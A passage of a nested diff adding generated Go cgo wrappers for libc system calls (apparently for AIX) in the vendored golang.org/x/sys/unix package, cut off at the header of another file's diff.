-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callgetsid(pid int) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.getsid(C.int(pid)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callkill(pid int, sig int) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.kill(C.int(pid), C.int(sig)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callsyslog(typ int, _p0 uintptr, _lenp0 int) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.syslog(C.int(typ), C.uintptr_t(_p0), C.size_t(_lenp0)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callmkdir(dirfd int, _p0 uintptr, mode uint32) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.mkdir(C.int(dirfd), C.uintptr_t(_p0), C.uint(mode)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callmkdirat(dirfd int, _p0 uintptr, mode uint32) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.mkdirat(C.int(dirfd), C.uintptr_t(_p0), C.uint(mode)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callmkfifo(_p0 uintptr, mode uint32) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.mkfifo(C.uintptr_t(_p0), C.uint(mode)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callmknod(_p0 uintptr, mode uint32, dev int) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.mknod(C.uintptr_t(_p0), C.uint(mode), C.int(dev)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callmknodat(dirfd int, _p0 uintptr, mode uint32, dev int) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.mknodat(C.int(dirfd), C.uintptr_t(_p0), C.uint(mode), C.int(dev)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callnanosleep(time uintptr, leftover uintptr) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.nanosleep(C.uintptr_t(time), C.uintptr_t(leftover)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callopen64(_p0 uintptr, mode int, perm uint32) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.open64(C.uintptr_t(_p0), C.int(mode), C.uint(perm)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callopenat(dirfd int, _p0 uintptr, flags int, mode uint32) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.openat(C.int(dirfd), C.uintptr_t(_p0), C.int(flags), C.uint(mode)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callread(fd int, _p0 uintptr, _lenp0 int) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.read(C.int(fd), C.uintptr_t(_p0), C.size_t(_lenp0)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callreadlink(_p0 uintptr, _p1 uintptr, _lenp1 int) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.readlink(C.uintptr_t(_p0), C.uintptr_t(_p1), C.size_t(_lenp1)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callrenameat(olddirfd int, _p0 uintptr, newdirfd int, _p1 uintptr) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.renameat(C.int(olddirfd), C.uintptr_t(_p0), C.int(newdirfd), C.uintptr_t(_p1)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callsetdomainname(_p0 uintptr, _lenp0 int) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.setdomainname(C.uintptr_t(_p0), C.size_t(_lenp0)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callsethostname(_p0 uintptr, _lenp0 int) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.sethostname(C.uintptr_t(_p0), C.size_t(_lenp0)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callsetpgid(pid int, pgid int) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.setpgid(C.int(pid), C.int(pgid)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callsetsid() (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.setsid())
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callsettimeofday(tv uintptr) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.settimeofday(C.uintptr_t(tv)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callsetuid(uid int) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.setuid(C.int(uid)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callsetgid(uid int) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.setgid(C.int(uid)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callsetpriority(which int, who int, prio int) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.setpriority(C.int(which), C.int(who), C.int(prio)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callstatx(dirfd int, _p0 uintptr, flags int, mask int, stat uintptr) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.statx(C.int(dirfd), C.uintptr_t(_p0), C.int(flags), C.int(mask), C.uintptr_t(stat)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callsync() (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.sync())
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func calltimes(tms uintptr) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.times(C.uintptr_t(tms)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callumask(mask int) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.umask(C.int(mask)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func calluname(buf uintptr) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.uname(C.uintptr_t(buf)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callunlink(_p0 uintptr) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.unlink(C.uintptr_t(_p0)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callunlinkat(dirfd int, _p0 uintptr, flags int) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.unlinkat(C.int(dirfd), C.uintptr_t(_p0), C.int(flags)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callustat(dev int, ubuf uintptr) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.ustat(C.int(dev), C.uintptr_t(ubuf)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callwrite(fd int, _p0 uintptr, _lenp0 int) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.write(C.int(fd), C.uintptr_t(_p0), C.size_t(_lenp0)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func calldup2(oldfd int, newfd int) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.dup2(C.int(oldfd), C.int(newfd)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callposix_fadvise64(fd int, offset int64, length int64, advice int) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.posix_fadvise64(C.int(fd), C.longlong(offset), C.longlong(length), C.int(advice)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callfchown(fd int, uid int, gid int) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.fchown(C.int(fd), C.int(uid), C.int(gid)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callfstat(fd int, stat uintptr) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.fstat(C.int(fd), C.uintptr_t(stat)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callfstatat(dirfd int, _p0 uintptr, stat uintptr, flags int) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.fstatat(C.int(dirfd), C.uintptr_t(_p0), C.uintptr_t(stat), C.int(flags)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callfstatfs(fd int, buf uintptr) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.fstatfs(C.int(fd), C.uintptr_t(buf)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callftruncate(fd int, length int64) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.ftruncate(C.int(fd), C.longlong(length)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callgetegid() (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.getegid())
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callgeteuid() (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.geteuid())
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callgetgid() (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.getgid())
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callgetuid() (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.getuid())
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func calllchown(_p0 uintptr, uid int, gid int) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.lchown(C.uintptr_t(_p0), C.int(uid), C.int(gid)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func calllisten(s int, n int) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.listen(C.int(s), C.int(n)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func calllstat(_p0 uintptr, stat uintptr) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.lstat(C.uintptr_t(_p0), C.uintptr_t(stat)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callpause() (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.pause())
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callpread64(fd int, _p0 uintptr, _lenp0 int, offset int64) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.pread64(C.int(fd), C.uintptr_t(_p0), C.size_t(_lenp0), C.longlong(offset)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callpwrite64(fd int, _p0 uintptr, _lenp0 int, offset int64) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.pwrite64(C.int(fd), C.uintptr_t(_p0), C.size_t(_lenp0), C.longlong(offset)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callselect(nfd int, r uintptr, w uintptr, e uintptr, timeout uintptr) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.c_select(C.int(nfd), C.uintptr_t(r), C.uintptr_t(w), C.uintptr_t(e), C.uintptr_t(timeout)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callpselect(nfd int, r uintptr, w uintptr, e uintptr, timeout uintptr, sigmask uintptr) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.pselect(C.int(nfd), C.uintptr_t(r), C.uintptr_t(w), C.uintptr_t(e), C.uintptr_t(timeout), C.uintptr_t(sigmask)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callsetregid(rgid int, egid int) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.setregid(C.int(rgid), C.int(egid)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callsetreuid(ruid int, euid int) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.setreuid(C.int(ruid), C.int(euid)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callshutdown(fd int, how int) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.shutdown(C.int(fd), C.int(how)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callsplice(rfd int, roff uintptr, wfd int, woff uintptr, len int, flags int) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.splice(C.int(rfd), C.uintptr_t(roff), C.int(wfd), C.uintptr_t(woff), C.int(len), C.int(flags)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callstat(_p0 uintptr, statptr uintptr) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.stat(C.uintptr_t(_p0), C.uintptr_t(statptr)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callstatfs(_p0 uintptr, buf uintptr) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.statfs(C.uintptr_t(_p0), C.uintptr_t(buf)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func calltruncate(_p0 uintptr, length int64) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.truncate(C.uintptr_t(_p0), C.longlong(length)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callbind(s int, addr uintptr, addrlen uintptr) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.bind(C.int(s), C.uintptr_t(addr), C.uintptr_t(addrlen)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callconnect(s int, addr uintptr, addrlen uintptr) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.connect(C.int(s), C.uintptr_t(addr), C.uintptr_t(addrlen)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callgetgroups(n int, list uintptr) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.getgroups(C.int(n), C.uintptr_t(list)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callsetgroups(n int, list uintptr) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.setgroups(C.int(n), C.uintptr_t(list)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callgetsockopt(s int, level int, name int, val uintptr, vallen uintptr) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.getsockopt(C.int(s), C.int(level), C.int(name), C.uintptr_t(val), C.uintptr_t(vallen)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callsetsockopt(s int, level int, name int, val uintptr, vallen uintptr) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.setsockopt(C.int(s), C.int(level), C.int(name), C.uintptr_t(val), C.uintptr_t(vallen)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callsocket(domain int, typ int, proto int) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.socket(C.int(domain), C.int(typ), C.int(proto)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callsocketpair(domain int, typ int, proto int, fd uintptr) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.socketpair(C.int(domain), C.int(typ), C.int(proto), C.uintptr_t(fd)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callgetpeername(fd int, rsa uintptr, addrlen uintptr) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.getpeername(C.int(fd), C.uintptr_t(rsa), C.uintptr_t(addrlen)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callgetsockname(fd int, rsa uintptr, addrlen uintptr) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.getsockname(C.int(fd), C.uintptr_t(rsa), C.uintptr_t(addrlen)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callrecvfrom(fd int, _p0 uintptr, _lenp0 int, flags int, from uintptr, fromlen uintptr) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.recvfrom(C.int(fd), C.uintptr_t(_p0), C.size_t(_lenp0), C.int(flags), C.uintptr_t(from), C.uintptr_t(fromlen)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callsendto(s int, _p0 uintptr, _lenp0 int, flags int, to uintptr, addrlen uintptr) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.sendto(C.int(s), C.uintptr_t(_p0), C.size_t(_lenp0), C.int(flags), C.uintptr_t(to), C.uintptr_t(addrlen)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callnrecvmsg(s int, msg uintptr, flags int) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.nrecvmsg(C.int(s), C.uintptr_t(msg), C.int(flags)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callnsendmsg(s int, msg uintptr, flags int) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.nsendmsg(C.int(s), C.uintptr_t(msg), C.int(flags)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callmunmap(addr uintptr, length uintptr) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.munmap(C.uintptr_t(addr), C.uintptr_t(length)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callmadvise(_p0 uintptr, _lenp0 int, advice int) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.madvise(C.uintptr_t(_p0), C.size_t(_lenp0), C.int(advice)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callmprotect(_p0 uintptr, _lenp0 int, prot int) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.mprotect(C.uintptr_t(_p0), C.size_t(_lenp0), C.int(prot)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callmlock(_p0 uintptr, _lenp0 int) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.mlock(C.uintptr_t(_p0), C.size_t(_lenp0)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callmlockall(flags int) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.mlockall(C.int(flags)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callmsync(_p0 uintptr, _lenp0 int, flags int) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.msync(C.uintptr_t(_p0), C.size_t(_lenp0), C.int(flags)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callmunlock(_p0 uintptr, _lenp0 int) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.munlock(C.uintptr_t(_p0), C.size_t(_lenp0)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callmunlockall() (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.munlockall())
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callpipe(p uintptr) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.pipe(C.uintptr_t(p)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callpoll(fds uintptr, nfds int, timeout int) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.poll(C.uintptr_t(fds), C.int(nfds), C.int(timeout)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callgettimeofday(tv uintptr, tzp uintptr) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.gettimeofday(C.uintptr_t(tv), C.uintptr_t(tzp)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func calltime(t uintptr) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.time(C.uintptr_t(t)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callutime(_p0 uintptr, buf uintptr) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.utime(C.uintptr_t(_p0), C.uintptr_t(buf)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callgetsystemcfg(label int) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.getsystemcfg(C.int(label)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callumount(_p0 uintptr) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.umount(C.uintptr_t(_p0)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callgetrlimit(resource int, rlim uintptr) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.getrlimit(C.int(resource), C.uintptr_t(rlim)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callsetrlimit(resource int, rlim uintptr) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.setrlimit(C.int(resource), C.uintptr_t(rlim)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func calllseek(fd int, offset int64, whence int) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.lseek(C.int(fd), C.longlong(offset), C.int(whence)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callmmap64(addr uintptr, length uintptr, prot int, flags int, fd int, offset int64) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.mmap64(C.uintptr_t(addr), C.uintptr_t(length), C.int(prot), C.int(flags), C.int(fd), C.longlong(offset)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-diff --git a/vendor/golang.org/x/sys/unix/zsyscall_darwin_arm.go b/vendor/golang.org/x/sys/unix/zsyscall_darwin_386.1_11.go
-similarity index 85%
-copy from vendor/golang.org/x/sys/unix/zsyscall_darwin_arm.go
-copy to vendor/golang.org/x/sys/unix/zsyscall_darwin_386.1_11.go
-index 7a409745..c1cc0a41 100644
---- a/vendor/golang.org/x/sys/unix/zsyscall_darwin_arm.go
-+++ b/vendor/golang.org/x/sys/unix/zsyscall_darwin_386.1_11.go
-@@ -1,7 +1,7 @@
--// mksyscall.pl -tags darwin,arm syscall_bsd.go syscall_darwin.go syscall_darwin_arm.go
